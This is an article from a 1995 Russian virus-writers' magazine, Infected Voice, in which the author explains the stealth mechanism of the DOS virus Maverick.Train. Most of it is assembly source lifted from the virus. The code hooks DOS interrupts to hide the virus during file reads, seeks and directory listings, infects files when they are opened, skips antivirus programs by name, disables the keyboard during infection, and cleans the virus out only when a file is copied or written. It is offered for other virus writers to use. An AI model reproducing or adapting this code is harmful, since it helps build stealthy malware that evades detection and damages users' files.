           ▄▄                  █
          ▀▀▀ Monthly Magazine █ For VirMakers.                  JULY '95
          ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
           ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ ▐▀▀█ █
            █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █   ▐▌ █
            █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █   █  █
            ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
           (C) STEALTH group WWide, Box 10, Kiev-148, fUcKRAINE 
 ─────────────────────────────────────────────────────────────────────────────
			STEALTH МЕХАНИЗМ.		  (C) Eternal Maverick
 ─────────────────────────────────────────────────────────────────────────────

			VIRUS WRITER'S NOTES.

	После долгого долгого перерыва перед Вами очередной выпуск Infected
Voice.  Много воды утекло с тех пор...  Вот и WEB уже стал полноэкранным, и
сессия позади, в клуб пришли новые люди, и Сергей Бабич написал свой первый
вирус, с чем мы его и поздравляем (шучу!).
	Однако, переходим от предисловия к нашему повествованию. Вышеупомя-
нутое полноэкранное творчество  Игоря Данилова  детектирует и удаляет вирус
Maverick.Train, написанный для демонстрации EMME v2.0. К вопросу о полимор-
физме и недетектируемости WEBом мы ещё вернёмся в следующем выпуске:  соот-
ветствующий материал готовится,  а генератор уже написан  и  успешно прошёл
тестирование. Те же из Вас, кому неберущийся WEBом вирус нужен уже сегодня,
могут воспользоваться MAYHEM, описанным в этом выпуске.
	Я же расскажу  Вам  о другой интересной особенности  вышеуказанного
вируса, а именно об использованом стелс-механизме. Реализованная идея отли-
чается от традиционного подхода,  когда вирус выкусывает себя  при открытии
файла или загрузке в память без исполнения (например, Frodo, OneHalf и дру-
гие). Идея заключается в следующем: при открытии зараженного файла вирус НЕ
выкусывает себя (более того, в моей реализации незараженный файл заражается
при открытии!), а лишь запоминает в своём теле handle; при дальнейшем обра-
щении к файлу из возвращаемой информации удаляются по возможности следы ви-
руса, для чего обрабатываюся 42h и 3Fh; вирус выкусывается лишь при загруз-
ке в память без исполнения или записи в файл, а при закрытии файл снимается
с учёта.
	Данная концепция обеспечивает лучшую маскировку,так как не происхо-
дит записи на диск и,в частности, при чтении зараженного файла с защищённой
от записи дискеты выдаётся чистый.
	Однако, естественно у нового подхода есть и недостатки. При копиро-
вании файла в Volkov (Norton) Сommander происходит глюк: скопированный файл
работает, но к нему дописан вирус,  который не получает управления.  С этим
легко справиться, достаточно отслеживать создание файла и удалять "хвосты".
Другая проблема заключается в том, что вирус не может уследить за всеми от-
крываемыми файлами, кроме первого,  т.е. при открытии второго и последующих
зараженых файлов при незакрытом первом,маскироваться будут только изменения
в первом файле.
	Код, приведенный ниже, просто выгрызен из исходника Train,  поэтому
может показаться непонятным.   Исправлены две серьёзных ошибки в реализации
стелс-механизма.
	В моей реализации по адресам 0..0Fh находится область данных вируса,
а адреса типа SAVE_AX и т.д.- произвольные ячейки памяти в сегменте вируса.

;---------------------------------------------------------------------------

READER:
;-------------------------------------------------------
;	Обработка чтения файла (3Fh).
;-------------------------------------------------------
	CALL OURFILE	; Файл, дескриптор которого мы запомнили?
			; Если нет, то сразу выход, управление не возвращается.

	CALL INT_21h	; Вызов 21h...
	JC   GOGO_1	; Не читается? Тогда не о чем беспокоиться!

	PUSHF
	PUSH CX
	PUSH BX
	PUSH SI
	PUSH DI
	PUSH ES
	PUSH DX
	PUSH DS

	PUSH CS
	POP  DS
	MOV  DS:[SAVE_AX],AX	; Сохраняем AX по адресу SAVE_AX в нашем
				; сегменте.
	MOV  AL,01h
	CALL SEEK_X		; Получим текущую позицию в файле...
	JC   GOGO		; Не получается...

	MOV  DS:[HNEW],DX
	MOV  DS:[LNEW],AX	; Сохраним эту позицию.

	SUB  AX,WORD PTR DS:[SAVE_AX]
	SBB  DX,0		; Вычитаем из DX:AX число реально прочитанных
				; из файла байт.

	MOV  DS:[_HIGH_],DX
	MOV  DS:[_LOW_],AX	; Позиция, с которой начинали читать.

	CALL SEEK_E		; Передвинем указатель в конец файла.

	SUB  AX,VL		; Отнимаем длину вируса...
	SBB  DX,0

	MOV  DS:[NO_HIGH],DX
	MOV  DS:[NO_LOW],AX	; В DX:AX - длина файла без вируса...

;-----------------------------------------------
;	Не начало файла ли пытаются читать?
;	(Mой вирус изменяет первые 18h байт.)
;-----------------------------------------------
	CMP  WORD PTR DS:[_HIGH_],0
	JNE  MID			; Это где-то дальше...
	CMP  WORD PTR DS:[_LOW_],18h
	JB   BEG			; Таки начало...
;-----------------------------------------------
MID:
	CALL S_INIT			; Устанавливает в CX:DX текущую
					; позицию указателя в файле и
					; сравнивает эту позицию с длиной
					; чистого файла, если она больше,
					; то устанавливает CF, иначе сбра-
					; сывает. AX обнуляет.
	JC   _WAIT_			; Немного зачитались? Исправляться...
READ_OK:
	CALL SEEK_Z			; Устанавливаем указатель куда
					; надо...
GOGO:
	MOV  AX,DS:[SAVE_AX]		; В AX число прочитанных байт.
NO_AX:
	POP  DS
	POP  DX
	POP  ES
	POP  DI
	POP  SI
	POP  BX
	POP  CX
	POPF
GOGO_1:
	RETF 2				; На выход...

BEG:
;----------------------------
;	Если читают начало...
;----------------------------
	CALL READ_L		; Добудем оригинальные байты и поместим
				; их по адресу DS:SI
	MOV  CX,18h
	SUB  CX,DS:[_LOW_]

	CMP  CX,DS:[SAVE_AX]	; А может читают лишь часть заголовка?
	JB   OK
	MOV  CX,DS:[SAVE_AX]	; Это надо учесть!
OK:
	ADD  SI,DS:[_LOW_]
	POP  ES
	POP  DI
	PUSH DI
	PUSH ES
	REP  MOVSB		; Cунем в буфер оригинальные байты.

	CALL S_INIT
	JNC  READ_OK		; Не зачитались?
				; НАДО ВОССТАНАВЛИВАТЬ УКАЗАТЕЛЬ ПОЗИЦИИ
				; В ФАЙЛЕ ! К сожалению в этом месте в 
				; Маverick.Train была ошибка, вызывавшая
				; балденее VC и NC при копировании не-
				; которых файлов...

	JMP  SHORT GOGO		; Всё в порядке. Плавненько на выход.

_WAIT_:
	CALL SEEK_Z		; Указатель на место...

	MOV  CX,DS:[_HIGH_]
	MOV  DX,DS:[_LOW_]	; В СX:DX - позиция, с которой начинали читать.

	CALL RCOMP		; Сравниваем её с длиной файла без вируса!
	JC   NO_AX		; Если больше или равна, то вернём AX=0
				; (0 байт прочитано)
;------------------------------------------------
;	Иначе вернём число байт,
;	которые прочитали бы из чистого файла...
;------------------------------------------------
	MOV  AX,DS:[NO_HIGH]
	SUB  AX,DS:[_HIGH_]
	MOV  BL,10h
	MUL  BL
	ADD  AX,DS:[NO_LOW]
	SUB  AX,DS:[_LOW_]	; Ужас, хотя на самом деле всего лишь
				; вычитание "длинных целых"...
	JMP  SHORT NO_AX
;------------------------------------------------
TIME:
;------------------------------------------------
;	Обработка получения времени создания
;	файла (5700h)
;------------------------------------------------
	CALL INT_21h
	JC   TIME_AWAY		; Не получилось...
	CMP  CL,0Fh		; Как-будто наша метка...
	JNE  TIME_AWAY

	AND  CL,11100000b	; Спрячем!
TIME_AWAY:
	RETF 2			; Ну вот и всё!

CREATE:
;------------------------------------------------
;	Cоздание файла (5Bh)
;------------------------------------------------

	CALL INT_21h
	JC   CR_ERROR			; Не создаётся...
	MOV  WORD PTR CS:[0Eh],AX	; Запомним handle
CR_ERROR:
	RETF 2				; выход...

;-------------------------------------------------
;	Закрытие (3Eh)
;-------------------------------------------------
	CMP  BX,WORD PTR CS:[0Eh]	; Только что созданный файл?
	JNE  MORE_3			; Не он...

	CMP  BX,5
	JB   NO_CLOSE			; А может быть закрывают не файл?

	MOV  WORD PTR CS:[06h],BX	; Запомним handle для проведения
					; некоторых манипуляций...

	PUSH DS				; DS стоит сохранить...
	CALL READ_L			; Действительно заражен?
	JNE  MORE_2			; НЕ ЗАРАЖЕН!!!
	CALL TALE_OUT			; Откусить хвост...
MORE_2:
	MOV  AH,3Eh
	CALL INT_21h			; А вот теперь закроем...
	POP  DS
	MOV  WORD PTR CS:[0Eh],0	; И вычеркнем с учёта...
	RETF 2				; Всё...
MORE_3:
	CMP  BX,WORD PTR CS:[04h]	; Файл, который мы отслеживаем?
	JNE  _EXIT_
	MOV  WORD PTR CS:[04h],0	; Cнять с учёта...
NO_CLOSE:
	JMP  SHORT _EXIT_		; Выполнить прерывание...

;-----------------------------------------
;	Обработка 4Bh
;-----------------------------------------
	CMP  AH,04Bh
	JNE  NOT_EXEC

	OR   AL,AL		; Исполнять не будем?
				; Это очень похоже на отладчик!
	JZ   COME		; Всё в порядке будем цепляться к файлу.
FAG:
	MOV  BYTE PTR CS:[08h],0FFh	; Будем уходить из файла...
					; Индикатор содержит не 0,
					; значит будем не заражать файл,
					; а очищать!!!
COME:
	JMP  CHECK		; Вперёд...

NOT_EXEC:
	CMP  BYTE PTR CS:[09h],0FFh	; Запущен CHKDSK ?
					; Если да, то отключить 
					; некоторые стелс-функции.
	JE   _EXIT_

	CMP  AH,03Dh
	JE   COME			; Заражать и ставить на учёт...

;-----------------------------------------
;	Обработка 4202h
;-----------------------------------------
	CALL OURFILE			; Наш подопечный?
					; ВЗГЛЯНИТЕ НА ЭТУ ПРОЦЕДУРУ!

	PUSH BX
	PUSH CX
	PUSH DX
	CALL SEEK_X			; Устанавливаем указатель...

	SUB  AX,VL
	SBB  DX,0			; Отнимаем длину вируса...
	XCHG CX,AX
	XCHG CX,DX
	POP  AX
	ADD  DX,AX
	POP  AX
	ADC  CX,AX
	MOV  AX,4200h			; Переустанавливаем указатель...
	POP  BX
_EXIT_:
	JMP  SHORT GATE			; И как-будто нас и нет в файле...

;----------------------------------------
;	Обработка записи (40h).
;----------------------------------------
	CALL OURFILE			; Старый знакомый?

	PUSH AX
	PUSH BX
	PUSH SI
	PUSH DS
	PUSH DX
	PUSH CX
;---------------------
	MOV  AL,01h
	CALL SEEK_X
	PUSH AX
	PUSH DX		; Сохраняем указатель текущей позиции...
;--------------------
	
	CALL READ_L
	JNE  NOT_OUR	; Какая-то неувязочка, нас нет в файле...
	CALL WRITE_L	; Убираем себя...
NOT_OUR:
	POP  CX
	POP  DX
	XOR  AL,AL
	CALL SEEK_Z	; Восстанавливаем позицию...

	POP  CX
	POP  DX
	POP  DS
	POP  SI
	POP  BX
	POP  AX
GATE:
	JMP  NO_RET_2	; Нам пора...

;------------------------------------------------
;	А это вы уже видели, если читаете
;	наш журнал. Впрочем всё равно взгляните,
;	перед Вами несколько улучшенный вариант!
;	Именно это мы отключаем при запуске
;	CHKDSK.		NO COMMENTS ;-)
;------------------------------------------------
HIDE_1:			; Обработка 4Eh,4Fh...
	PUSH ES
	PUSH SI
	PUSH DI
	CALL PREFIX
	JC   ERROR
	CMP  BYTE PTR ES:[BX+16h],0Fh
	JNE  ERROR
	CALL CEO
	JC   ERROR
	MOV  SI,1Ah
	CALL ADJUST
	JMP  SHORT ERROR
HIDE_2:			; Обработка 11h,12h...
	PUSH ES
	PUSH SI
	PUSH DI
	CALL PREFIX
	TEST BYTE PTR CS:[0Ah],0FFh
	JNZ  ERROR
	CMP  BYTE PTR ES:[BX],0FFh	; Extended FCB - ?
	JNE  SIMPLE
	ADD  BX,7
SIMPLE:
	CMP  BYTE PTR ES:[BX+17h],0Fh
	JNE  ERROR
	MOV  SI,1Dh
	CALL ADJUST
ERROR:
	POP  DI
	POP  SI
	POP  ES
	MOV  AX,WORD PTR CS:[0Ah]
	PUSH WORD PTR CS:[0Ch]
	POPF
	RETF 2
;------------------------------------------------






CHECK:
;-------------------------------------------------
;	Проверка подходит ли файл...
;	Сюда передаётся управление при всякой
;	попытке заражения...
;-------------------------------------------------
	PUSH SI
	PUSH DI
	PUSH ES
	PUSH BX
	PUSH CX
	PUSH AX
	PUSH DX
	PUSH DS

	MOV  BYTE PTR CS:[09h],0		; Индикатор убрать...
	MOV  DI,DX
	PUSH DS
	POP  ES
	CALL COMPARE
	JC   _ESC				; Не CO?, не EX?, не OV?
						; Фигня какая-то...
CHKEXE:
	MOV  SI,DI
	SUB  SI,09h
	MOV  CX,08h

	CMP  AX,7865h				; EX-?
	JNE  TEST_1
LIST:
	CALL BABY
	CMP  AX,6961h	; ai - ?
	JE   _AIDS
	CMP  AX,6863h	; ch - ?
	JE   _CHK
	CMP  AX,6577h	; we - ?
	JE   _WEB
	CMP  AX,6373h	; sc - ?
	JE   _SCAN
	CMP  AX,7270h	; pr - ?
	JE   _F_PROT
	CMP  AX,7261h	; ar - ?
	JE   _ARC
	CMP  AX,697Ah	; zi - ?
	JE   _ZIP
	CMP  AX,6274h	; tb - ?
	JE   _ESC
	DEC  SI
	LOOP LIST
	JMP  SHORT TEST_OK
_AIDS:
	CALL BABY
	CMP  AX,7364h	; ds - ?
	JMP  SHORT _ASK
_CHK:
	CALL BABY
	CMP  AX,646Bh	; kd - ?
	JNE  TEST_OK
	JMP  SHORT _ARC
_ZIP:
	CALL BABY
	CMP  AL,70h	; p - ?
	JNE  TEST_OK
_ARC:
	OR   BYTE PTR CS:[09h],0FFh	; Отключим стелс, это ж архиватор!
	JMP  SHORT _ESC
_ASK:
	JNE  TEST_OK
_ESC:
	JMP  ABORT
_WEB:
	CALL BABY
	CMP  AL,62h	; b  - ?
	JMP  SHORT _ASK
_F_PROT:
	CALL BABY
	CMP  AX,746Fh	; ot - ?
	JMP  SHORT _ASK
_SCAN:
	CALL BABY
	CMP  AX,6E61h	; an - ?
	JMP  SHORT _ASK
COMMAND:
	CALL BABY
	CMP  AX,6D6Dh	; mm - ?
	JMP  SHORT _ASK
WINDOWS:
	CALL BABY
	CMP  AL,6Eh	; n  - ?
	JMP  SHORT _ASK
TEST_1:
	CALL BABY
	CMP  AX,6F63h	; co - ?
	JE   COMMAND
	CMP  AX,6977h	; wi - ?
	JE   WINDOWS
	DEC  SI
	LOOP TEST_1
;------------------------------------------------
;	Если файл подходит, то....
;------------------------------------------------
TEST_OK:
	MOV  AX,3524h
	CALL INT_21h	; Получим 24h

	PUSH CS
	POP  DS

	MOV  WORD PTR DS:[0],BX
	MOV  WORD PTR DS:[2],ES		; Сохраним....

	MOV  AX,2524h
	MOV  DX,INT24h
	CALL INT_21h			; Установим на наш обработчик
					; Такого вида: MOV AL,3
					;	       IRET

;------------------------
; Disable IRQ-1 (Int 09h)
;------------------------

	IN   AL,21h
	OR   AL,00000010h		; Отключим клавиатуру, чтобы
	OUT  21h,AL			; пользователь не нервничал!
					; Проще и приятней, чем возиться
					; с функцией 33h.
					; Однако, не забудьте включить!

	POP  DS
	POP  DX
	PUSH DX
	PUSH DS
	MOV  AX,4300h
	CALL INT_21h			; Получаем атрибуты...

	TEST CL,00000100b	; System file - ?
	JNZ  PROTECT		; Не связываться!

;----------------------------------------------
;	А вот это круто!!!
;	Проверка защищён ли диск от записи
;	через порт. (floppy disk естественно!)
;----------------------------------------------
	PUSH DX
	PUSH CX
	MOV  CX,400h
	MOV  DX,3F5h
	MOV  AL,4
	OUT  DX,AL
WAIT_1:
	LOOP WAIT_1

	MOV  CX,400h
	OUT  DX,AL
WAIT_2:
	LOOP WAIT_2

	IN   AL,DX
	TEST AL,40h		; Protected disk - ?
	POP  CX
	POP  DX
	JNZ  PROTECT
;---------------------------------

	PUSH CX
	AND  CL,0FEh		; set READ-ONLY off
	MOV  AX,4301H
	CALL INT_21h		; сбросим READ-ONLY
	JNC  _FILE_OK
;-----------------------------------
; I am not able to change attribute
;-----------------------------------
	POP  CX			; Не могу дотянуться до файла!!!
PROTECT:
	JMP  ESC_2
_FILE_OK:
	PUSH DX
	PUSH DS
	MOV  AX,3D02h
	CALL INT_21h		; Открываем файл....
				
	MOV  WORD PTR CS:[06h],AX	; Запоминаем handle...
	MOV  AX,5700h
	CALL FILE_X		; Получаем время создания...

	PUSH DX
	PUSH CX
	CMP  CL,0Fh		; А может он заражен-?
	JNE  TEST_2

	CMP  BYTE PTR CS:[08h],0FFh	; Так лечить будем или цепляться-?

	JNE  ESC_1		; Нафиг, но прежде восстановить
				; атрибуты и время, 24h и включить
				; клавиатуру! Догадайтесь сами!

TAKE_IT:
;-------------------------------
;	Лечение файла.
;-------------------------------
	CALL READ_L
	JNE  ESC_0
	CALL WRITE_L

	POP  CX
	AND  CL,11100000b	; Сбросим время создания!
	PUSH CX
	JMP  ESC_1		; Смотри выше...


		
TEST_2:
	CMP  BYTE PTR CS:[08h],0FFh
	JE   ESC_1		; А может не надо?
;--------------------------------------------------
;	Дальше идёт запись вируса в файл...
;	Пропускаем!!!
;--------------------------------------------------

;------------------------------------------------------
;	И уже после закрытия файла и восстановления
;	всего... А может стоит поставить на учёт?
;------------------------------------------------------
	CMP  AH,03Dh
	JNE  GO_AHEAD	; Не та функция...

	CALL INT_21h	; Вызываем...
	JC   GO_AWAY_1

	MOV  WORD PTR CS:[06h],AX	; Запоминаем handle...
	PUSH DX
	PUSH DS
	PUSH AX
	CALL READ_L			; Проверка заражен ли?
	JNE  GO_AWAY

	POP  AX
	MOV  WORD PTR CS:[04h],AX	; Регистрируем...
	PUSH AX
GO_AWAY:
	CALL SEEK_H			; Указатель в начало...
	POP  AX
	POP  DS
	POP  DX
GO_AWAY_1:
	POP  CX
	POP  BX
	POP  ES
	POP  DI
	POP  SI
	RETF 2
ABORT:
	POP  DS
	POP  DX
	POP  AX
GO_AHEAD:
	POP  CX
	POP  BX
	POP  ES
	POP  DI
	POP  SI
	JMP  SHORT NO_RET_2
;-----------------------------------------
;	Процедурки без которых было бы
;	непонятно, что происходит...
;-----------------------------------------
READ_H:
	MOV  CX,18h
READ_X:
	MOV  AH,3Fh
	JMP  SHORT FILE_X
WRITE_H:
	MOV  CX,18h
WRITE_X:
	MOV  AH,40h
	JMP  SHORT FILE_X
SEEK_H:
	XOR  AL,AL
	JMP  SHORT SEEK_X
SEEK_E:
	MOV  AL,02
SEEK_X:
	XOR  DX,DX
SEEK_Y:
	XOR  CX,CX
SEEK_Z:
	MOV  AH,42h
FILE_X:
	MOV  BX,WORD PTR CS:[06h]	; Сохранённый handle в BX

INT_21h PROC NEAR
	PUSHF
	PUSH CS
	CALL NO_RET_1
	RET
NO_RET_1:
	DB   0EAh,00h,00h,00h,00h	; Адрес DOS обработчика 21h

OURFILE PROC NEAR
	CMP  BX,WORD PTR CS:[04h]
	JNE  AWAY
	MOV  WORD PTR CS:[06h],BX
	RET
AWAY:
	ADD  SP,2			; Удалим из стека адрес возврата
					; из процедуры!
OURFILE ENDP

NO_RET_2:
	DB   0EAh,00h,00h,00h,00h	; Адрес грязного int 21h
INT_21h ENDP

CEO     PROC NEAR
;-------------------------------
;	Cleans CF if
;	CO?, EX?, OV?
;-------------------------------
	PUSH AX
	PUSH CX
	PUSH DI
	MOV  DI,BX
	ADD  DI,1Fh
	CALL COMPARE
	POP  DI
	POP  CX
	POP  AX
	RET
CEO	ENDP

COMPARE PROC NEAR
	CLD
	MOV  AL,2Eh		; '.'
	MOV  CX,41h
	REPNE SCASB
	MOV  AX,ES:[DI]
	OR   AX,2020h		; Конвертация в верхний регистр!
	CMP  AX,6F63h
	JE   PLUS
	CMP  AX,766Fh
	JE   PLUS
	CMP  AX,7865h
	JE   PLUS
	STC
	RET
PLUS:
	CLC	; Подходит!
	RET
COMPARE ENDP

PREFIX  PROC NEAR
;---------------------------------
; Просто для экономии места!
; Не ищете глобального смысла!
;---------------------------------
	CALL INT_21h
	MOV  WORD PTR CS:[0Ah],AX
	PUSHF
	POP  WORD PTR CS:[0Ch]		; Cохранение флагов!
	MOV  AH,2Fh
	CALL INT_21h
	RET
PREFIX  ENDP

BABY    PROC NEAR
;-----------------------------
; Самая маленькая процедурка!
; NO COMMENTS.
;-----------------------------
	LODSW
	OR  AX,2020h
	RET
BABY    ENDP

ADJUST  PROC NEAR
;-----------------------------------
; Вычитание длины вируса, если она
; не больше длины файла.
;-----------------------------------
	SUB  WORD PTR ES:[BX+SI],VL
	SBB  WORD PTR ES:[BX+SI+2],0
	JNC  OKEY
	ADD  WORD PTR ES:[BX+SI],VL
	ADC  WORD PTR ES:[BX+SI+2],0
OKEY:
	RET
ADJUST  ENDP

TRIM    PROC NEAR
;-------------------------------
; Часто используемый кусок кода!
;-------------------------------
	SBB  DX,0
	XCHG CX,AX
	XCHG DX,CX
	XOR  AL,AL
	CALL SEEK_Z
	RET
TRIM	ENDP

READ_L  PROC NEAR
;----------------------------------------
; Считывание оригинального заголовка из
; конца файла и  его расшифровка!
; Проверка по подписи действительно ли
; это оригинальный кусок...
;----------------------------------------
	CALL SEEK_E
	JC   NO_FILE

	SUB  AX,1Ch
	CALL TRIM

	PUSH CS
	POP  DS
	MOV  CX,1Ch
	MOV  DX,BYTES
	CALL READ_X

	CLD
	MOV  SI,BYTES
	LODSW
	PUSH SI
	MOV  CX,1Ah
DECODE:
	SUB  WORD PTR DS:[SI],AX
	XOR  WORD PTR DS:[SI],AX
	INC  SI
	INC  SI
	LOOP DECODE

	POP  SI
	LODSW
NO_FILE:
	CMP  AX,'EM'	; Наша марка? JE BrandName ;-)
	RET
READ_L  ENDP

WRITE_L PROC NEAR
;--------------------------
; Выкусывание из файла...
; Как ни жаль!
;--------------------------
	PUSH SI
	CALL SEEK_H

	POP  DX
	CALL WRITE_H
TALE_OUT:
	MOV  AL,2
	CALL SEEK_X

	SUB  AX,VL
	CALL TRIM

	XOR  CX,CX
	CALL WRITE_X	; Запись 0 байт, для изменения длины!
	RET
WRITE_L ENDP

S_INIT  PROC NEAR
;------------------------------------
;	Cтранноватая, но
;	необходимая процедура!
;------------------------------------
	MOV  CX,DS:[HNEW]
	MOV  DX,DS:[LNEW]
RCOMP:
	XOR  AX,AX
	CMP  CX,DS:[NO_HIGH]
	JB   N_FLAG
	JA   S_FLAG
	CMP  DX,DS:[NO_LOW]
	JB   N_FLAG		; Сравниваем CX:DX с длиной файла без вируса...
S_FLAG:
	STC			; Кто-то пытается до нас дотянуться!!!
	RET
N_FLAG:
	CLC			; Порядок...
	RET
S_INIT  ENDP

;--------------------------------------
;	Вот пожалуй и всё!!!
;--------------------------------------
  ─────────────────────────────────────────────────────────────────────────
  ──────────────── Remember Where You Saw This Phile First ────────────────
  ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
  ─────────────────────────────────────────────────────────────────────────
